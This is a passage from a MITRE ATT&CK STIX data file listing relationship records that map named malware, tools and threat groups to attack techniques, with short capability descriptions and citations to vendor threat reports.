[ + { + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + }, + { + "description": "Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.", + "source_name": "GitHub Invoke-Obfuscation", + "url": "https://github.com/danielbohannon/Invoke-Obfuscation" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can record sound using input audio devices.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9fde631f-9e22-40fe-b6bb-071bd689c8f9", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) steals credentials stored in Web browsers by querying the sqlite database and leveraging the Windows Vault mechanism.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--352953e9-c1ca-4d25-84b6-eb05a012b2e9", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "modified": "2019-07-26T22:56:58.507Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) is capable of downloading a file from a specified URL.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f4902ad9-b1bb-41ce-a448-55e2d9437503", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Vasport](https://attack.mitre.org/software/S0207) creates a backdoor by making a connection using a HTTP POST.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--02642f69-af18-42ba-a07e-ea44d3a311ea", + "source_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.", + "source_name": "Symantec Vasport May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "Data [SPACESHIP](https://attack.mitre.org/software/S0035) copies to the staging area is compressed with zlib. Bytes are rotated by four positions and XOR'ed with 0x23.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--23df6015-0167-481c-84aa-3d15d3e38a85", + "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070)'s version of [Bandook](https://attack.mitre.org/software/S0234) communicates with their server over a TCP port using HTTP payloads Base64 encoded and suffixed with the string \u201c&&&\u201d.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--23c6c48b-f602-43f9-9c23-d4e46fba9194", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "modified": "2019-07-16T15:35:21.031Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[ZLib](https://attack.mitre.org/software/S0086) creates Registry keys to allow itself to run as various services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3f02c07f-663f-4c54-b7e0-c2b2dbe82335", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used HTTP and IRC for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--2dd15583-34cd-4b49-a6ba-4bd647b7ff27", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.502Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--4ce0f95f-577c-4a02-a355-328cf376ceba", + "source_ref": "course-of-action--752db800-ea54-4e7a-b4c1-2a0292350ea7", + "modified": "2019-07-25T11:14:52.725Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Daserf](https://attack.mitre.org/software/S0187) uses file and folder names related to legitimate programs in order to blend in, such as HP, Intel, Adobe, and perflogs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d297b77f-9511-429a-b148-d7b8f0b5b502", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "source_name": "Symantec Tick Apr 2016", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "Some versions of [UPPERCUT](https://attack.mitre.org/software/S0275) have used the hard-coded string \u201cthis is the encrypt key\u201d for Blowfish encryption when communicating with a C2. Later versions have hard-coded keys uniquely for each C2 address.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--64eefbfb-5241-4325-919d-4739504644c2", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) discovers shares on the network", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d07f2da6-6497-414f-96c1-9dd60155b169", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--0da51973-98f8-4a5e-8217-da19f7bc64b6", + "source_ref": "course-of-action--c861bcb1-946f-450d-ab75-d4e3c1103a56", + "modified": "2019-07-25T12:00:12.350Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of listing contents of folders on the victim. [Remsec](https://attack.mitre.org/software/S0125) also searches for custom network encryption software on victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--147e009d-48db-40bc-999c-70aa1e770a0c", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "source_name": "Symantec Remsec IOCs", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Full Report", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[APT3](https://attack.mitre.org/groups/G0022) will copy files over to Windows Admin Shares (like ADMIN$) as part of lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--96797ece-5783-4d34-a399-32496c8705ac", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.630Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[XTunnel](https://attack.mitre.org/software/S0117) relays traffic between a C2 server and a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d3234cf8-0ef7-4447-ae3a-9624f3229265", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "modified": "2019-04-19T18:36:31.999Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "source_name": "Crowdstrike DNC June 2016", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) used Visual Basic Scripts (VBS), JavaScript code, batch files, and .SCT files on victim machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--db222ecf-5923-478d-ba71-88de478ae51c", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:06.029Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + }, + { + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "source_name": "Volexity Patchwork June 2018", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Comnie](https://attack.mitre.org/software/S0244) runs the net view command", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--77fbad9a-3a73-4ddb-8d10-60147eb64a81", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can download additional files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--419392f5-e6a8-4eee-b7c2-f0bac5cce833", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[RGDoor](https://attack.mitre.org/software/S0258) executes the whoami on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ada55a0e-2f38-4da1-9ebd-8dd2f2461dfc", + "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "source_name": "Unit 42 RGDoor Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[jRAT](https://attack.mitre.org/software/S0283) has the capability to log keystrokes from the victim\u2019s machine, both offline and online.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0b9a4cdc-8305-49ec-879f-6cfa35763af2", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.479Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + }, + { + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) decrypts strings in the code during the execution process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.525Z", + "id": "relationship--e6aed3c5-9f4a-4178-b03b-5805b2f61c81", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.187Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) adds itself to the Registry as a startup program to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:04.954Z", + "id": "relationship--0ecaa94b-3ad8-4de5-9cf2-81069676cfa3", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.394Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "source_name": "Fortinet Agent Tesla April 2018", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Remcos](https://attack.mitre.org/software/S0332) takes automated screenshots of the infected machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:55:20.864Z", + "id": "relationship--988a0f0f-b3dc-4ff7-8062-29d3975cb897", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "modified": "2019-04-19T14:39:53.076Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.", + "source_name": "Riskiq Remcos Jan 2018", + "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can disable Security Center functions like anti-virus and the Windows Firewall.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:18:28.814Z", + "id": "relationship--bf01b245-8a42-4fd3-9b77-ec411336b62d", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "modified": "2019-06-04T19:40:43.667Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + }, + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Epic](https://attack.mitre.org/software/S0091) encrypts collected data using a public key framework before sending it over the C2 channel. Some variants encrypt the collected data with AES and encode it with base64 before transmitting it to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:48.084Z", + "id": "relationship--9076865a-8215-4536-bb31-60ab7fa20af6", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:43.073Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) can access the victim's webcam and capture data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:05:36.501Z", + "id": "relationship--1efc9685-b2ab-46fb-91a9-a305d6c1f335", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "modified": "2019-04-17T20:47:23.969Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018.", + "source_name": "DigiTrust NanoCore Jan 2017", + "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/" + }, + { + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "source_name": "PaloAlto NanoCore Feb 2016", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "The executable version of [Helminth](https://attack.mitre.org/software/S0170) has a module to log keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--699ac754-3f3e-46de-9b2a-5ea450ef47fd", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) captures screenshots in .jpg format and then exfiltrates them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:33:34.655Z", + "id": "relationship--5249b0e7-878e-44db-9d59-f162067f1852", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "modified": "2019-04-23T21:17:49.930Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "source_name": "Unit 42 BadPatch Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:37:00.034Z", + "id": "relationship--7a9b075d-4a37-4b89-8643-8b4376b79416", + "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", + "modified": "2019-04-12T16:33:51.221Z", + "object_marking_refs": [ + 